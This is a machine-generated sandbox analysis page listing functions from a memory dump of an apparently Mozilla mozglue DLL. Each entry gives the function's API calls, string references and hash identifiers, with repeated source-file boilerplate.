Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 80e7018443537a211498480433aa08ea46bd9f717fe2976358e45d8a70a4e1e3
Instruction ID: 39199082542ed42a033126b624ca0988d42b00a7b68513969c73daf4fbabf0ab
Opcode Fuzzy Hash: 80e7018443537a211498480433aa08ea46bd9f717fe2976358e45d8a70a4e1e3
Instruction Fuzzy Hash: D5C1A071E04329CBDB14CFAACC507AEB7B6FB88314F544529D405ABB90DB70AD49CB91

Function 6C50D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C50D852
@, xrefs: 6C50DAF6
0, xrefs: 6C50DC7F
8, xrefs: 6C50DC08
-, xrefs: 6C50D7DD
, xrefs: 6C50DA88
9, xrefs: 6C50DE7F
1, xrefs: 6C50DBDD

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 98433242985ec0374434b8a2cbb0b80cbddc14e41831a2b04146fb26ee35c318
Instruction ID: bbc5bdba55800c88c86c49d85395113f44387da0f38efada88234845632eec6a
Opcode Fuzzy Hash: 98433242985ec0374434b8a2cbb0b80cbddc14e41831a2b04146fb26ee35c318
Instruction Fuzzy Hash: 3B62AD7170C7458FD711CE18C89076ABBF2BF86358F184A1DE8E5CBA92D3359985CB82

Function 6C57545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C578A4B

Strings

~qPl, xrefs: 6C579459, 6C575703, 6C575740, 6C5756C7, 6C57921F, 6C579269, 6C57948F

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: memset
String ID: ~qPl
API String ID: 2221118986-19430131
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 03db98340b7a63ded3821e48e3f9f6a2f61e1f1c45d6b0ce08be06630426989a
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: F2B1C872E0021ACFDB24CF68CC91799B7B2EF95314F1402A9C549EB791E730A9D5CBA1

Function 6C57542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5788F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C57925C

Strings

~qPl, xrefs: 6C579459, 6C575703, 6C575740, 6C5756C7, 6C57921F, 6C579269, 6C57948F

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: memset
String ID: ~qPl
API String ID: 2221118986-19430131
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: f7ece21508e648e34471366e46ceaa90ce1a6f62bef7da222271ae79d4a46ca1
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: F6B1B572E0121ACBDB24CF58CC816E9B7B2AF85314F150269C549EB785E730A9D9CBA1

Function 6C56C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C56C0E9), ref: 6C56C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C56C437
FreeLibrary.KERNEL32(?,6C56C0E9), ref: 6C56C44C

Strings

NtQueryVirtualMemory, xrefs: 6C56C431
ntdll.dll, xrefs: 6C56C413

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 961915812e923ff678029bb071ebd3b8d94ca413db83bd5b4cf63275e26bb2cf
Instruction ID: 0480830e7123691330e816b019a5cc6b8de0facf1d204ce30e1506db8d21f38e
Opcode Fuzzy Hash: 961915812e923ff678029bb071ebd3b8d94ca413db83bd5b4cf63275e26bb2cf
Instruction Fuzzy Hash: E0E092706033219BEF00BB72CD187127AFCA70B206F826616EA04A1A10EBB0D014CE68

Function 6C519F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

0, xrefs: 6C51AB22
9, xrefs: 6C51A5D6
0, xrefs: 6C51A100
@, xrefs: 6C51A625
1, xrefs: 6C51A824
' , xrefs: 6C51A3D8

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 45eeabcd406add357efa431d1ec33045c91b6cbc660e7c94a6e3da11554fa40a
Instruction ID: c1bf3804ce18d6c36cb603a7fc03fcfcb0e1727b675971ffd6eecf1337a577b8
Opcode Fuzzy Hash: 45eeabcd406add357efa431d1ec33045c91b6cbc660e7c94a6e3da11554fa40a
Instruction Fuzzy Hash: F282C17590D3519FF713CE19C88836EB7E2EB85718F558A2AE8D547E80D334988DCB82

Function 6C50BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C50C1CB
__aulldiv.LIBCMT ref: 6C50C24C
__aulldiv.LIBCMT ref: 6C50C348
__aullrem.LIBCMT ref: 6C50C365
__aulldiv.LIBCMT ref: 6C50C37D

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 5728a33749812623d3353b0941e64524c0ffc70c9558158fe1023ba237354747
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 2D320632B146158FC718DE2CC89065ABBE6AFCA310F09876DE899CB395D734ED05CB91

Function 6C5577A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C557A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C557A93

Part of subcall function 6C525C50: GetTickCount64.KERNEL32 ref: 6C525D40
Part of subcall function 6C525C50: EnterCriticalSection.KERNEL32(6C58F688), ref: 6C525D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C557AA1

Part of subcall function 6C525C50: __aulldiv.LIBCMT ref: 6C525DB4
Part of subcall function 6C525C50: LeaveCriticalSection.KERNEL32(6C58F688), ref: 6C525DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C557B31

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: bc034080b5cc60c201a05862bb120f7f93fdbd41d637a093ae7320f3e4e0df2e
Instruction ID: 7aab205e12c27af047db03d3d2a6dab5d6319cd8ac6ea23ee36dd07de5b9cf4c
Opcode Fuzzy Hash: bc034080b5cc60c201a05862bb120f7f93fdbd41d637a093ae7320f3e4e0df2e
Instruction Fuzzy Hash: 3DB1EF356183808BCB14CF24C84065FB7E2BFC5358F958A1EE99567B91DB30ED1ACB82

Function 6C528850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C5297EA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C529813, 6C52985D, 6C529878, 6C529CEB

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: ada3dc21cf7f60b46a4df372c9797c9764170355a361fc39470fb4a3526d6e61
Instruction ID: b3ccfe37a5294e83f6721066d46bbd57f63dd164e8ad647ef2e2a9e7ba17a6f5
Opcode Fuzzy Hash: ada3dc21cf7f60b46a4df372c9797c9764170355a361fc39470fb4a3526d6e61
Instruction Fuzzy Hash: 7BD28A72A056018FC718CF18C990615BBE1FF85324F29C76DE86A8BBE5D739E841CB81

Function 6C546CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C546D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C546E1E

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 99f6d8d35dfa50847958e03511557b55cc924af9b991fb95929e35394ce611b4
Instruction ID: d6ab749321ca01f983f44cdb1c9f3d9cdff0b290116c36e5c38fe9d8fe903b90
Opcode Fuzzy Hash: 99f6d8d35dfa50847958e03511557b55cc924af9b991fb95929e35394ce611b4
Instruction Fuzzy Hash: A1A17F74618380DFC715CF24C880BAEBBE1BFC9308F45895EE48A87751DB70A959CB92

Function 6C56B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C53FE3F), ref: 6C56B720
RtlNtStatusToDosError.NTDLL ref: 6C56B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C53FE3F), ref: 6C56B760

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: c3329a1808d3a97e121c6c3d2dd9875307408df328cb0e5b243266c3793ff5ac
Instruction ID: 39f9ddc71044f7317a53a90a87854496b6ded76cc9cad698c50bb5840f37dc37
Opcode Fuzzy Hash: c3329a1808d3a97e121c6c3d2dd9875307408df328cb0e5b243266c3793ff5ac
Instruction Fuzzy Hash: 27F0C8B090020CEEDF11AAA2CC84BDFB7BC9B44319F105239E511659C0D774A9CCD661

Function 6C524640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C524777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C525585, 6C5255A8, 6C5255C3, 6C525624

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 4554d1c8110306e8169e5e3296eca1b0e06a14189709b2d8fb81d29416244f01
Instruction ID: 561da7abda01b5d5db156c8ef678b1fc371dca8ca47e1a1ffba1700213a75b29
Opcode Fuzzy Hash: 4554d1c8110306e8169e5e3296eca1b0e06a14189709b2d8fb81d29416244f01
Instruction Fuzzy Hash: 17B27C71A156018FD708CF28C990715BBE2BFC5328B29C76DE46A8B7E9D775E841CB80

Function 6C5685F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C568C7C
__aulldiv.LIBCMT ref: 6C568DD7

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: cdff214e3b775dff5799c585301899336bdfd64dbc069c74b1ee322daa193718
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 92327571F011198BDF18CE9DC8A17AEF7B2FB89300F15853AD506BBBA0DA345D458B92

Function 6C5776E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qPl, xrefs: 6C577B0B, 6C5779FB, 6C577796, 6C5779C0, 6C57793C, 6C577E0B

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID:
String ID: ~qPl
API String ID: 0-19430131
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: ad25f41f23b4763d4b465fff0cca48a4d435afd033888d46249cf68383cc3c11
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: A7320971E0061A8FDB25CF98C890AADFBF2FF88304F548569C549A7745D731A986CF90

Function 6C576E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qPl, xrefs: 6C577B0B, 6C5779FB, 6C577C72, 6C577C03, 6C5779C0, 6C57793C, 6C577E0B

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID:
String ID: ~qPl
API String ID: 0-19430131
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 97ad1b631b1f2afc9531a006667ae1ac8d9f8519a6d8b7bbabfee91e7464f184
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 6E22F871E002198FDB25CF98C980AADF7B2FF88304F6485A9C949A7745D731A986CF90

Function 6C545C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C514A63,?,?), ref: 6C545F06

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 793fd710edc7fefe64f575621c6b0fd8b497b5397d6d495d58e02de980295647
Instruction ID: d9c84961faf9c9f67c4ae13043ed1d133acfda1cd287b2da95b05f20a0ac4001
Opcode Fuzzy Hash: 793fd710edc7fefe64f575621c6b0fd8b497b5397d6d495d58e02de980295647
Instruction Fuzzy Hash: C2C1D275D012199BCB04CF95C9906EEBBF2FF8A318FA8815DD8556BB44D732A906CF80

Function 6C50DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7146465de00319d0aad2f8bc367455e820a6f6254d3b02b5538f1834692cc79c
Instruction ID: c35ad72523b9ad3e5bd69671642aaeadfc7400a2078b86057738b966042bb06a
Opcode Fuzzy Hash: 7146465de00319d0aad2f8bc367455e820a6f6254d3b02b5538f1834692cc79c
Instruction Fuzzy Hash: 4642B072B087518BD304CE2CC89175AB3E2BFC9364F194B2DE899E7791E774D9418B81

Function 6C530512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 7acb64a030cf3f1b79f41243d7b5e9df13a20396213e0d1327e8302e49c3490f
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 98221871E04629CFCB14CF98C890AADF7B2FF88304F548659D44AAB745D731A985CF90

Function 6C57AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e23b633b7e431135bcb6f4123875aa1d9c9159d15393481169c8741c413ece56
Instruction ID: 8f624f5992682c7e71b7104e15b470ab56ece29e528187426e2a231918f83f02
Opcode Fuzzy Hash: e23b633b7e431135bcb6f4123875aa1d9c9159d15393481169c8741c413ece56
Instruction Fuzzy Hash: F1F138726087458FD720CE28CC907AAB7E6AFC5318F159A2DE8D4877C1E774D8C587A2

Function 6C50C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 24e975d400a5d9ea1be1ca13928346d0d36f14b94f5b07f804955124a0c96262
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 5EA1A271F0061A8FDB08CE69C8913AEB7F2AFC9354F198169D915E7781D7346C068BE1

Function 6C547710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: e02ad3b57dba82a2b9b92802576984e7a6971ee01e4cd55c2e0daf2d7fb71776
Instruction ID: 1949f691cdfc5661b9c032585c97e3a0e5276048b1944a85cdf3e488b3e12677
Opcode Fuzzy Hash: e02ad3b57dba82a2b9b92802576984e7a6971ee01e4cd55c2e0daf2d7fb71776
Instruction Fuzzy Hash: E1715B75E012198FCF18CFA9D8905EEBBB2FF89354F64816ED816AB740D731A905CB90

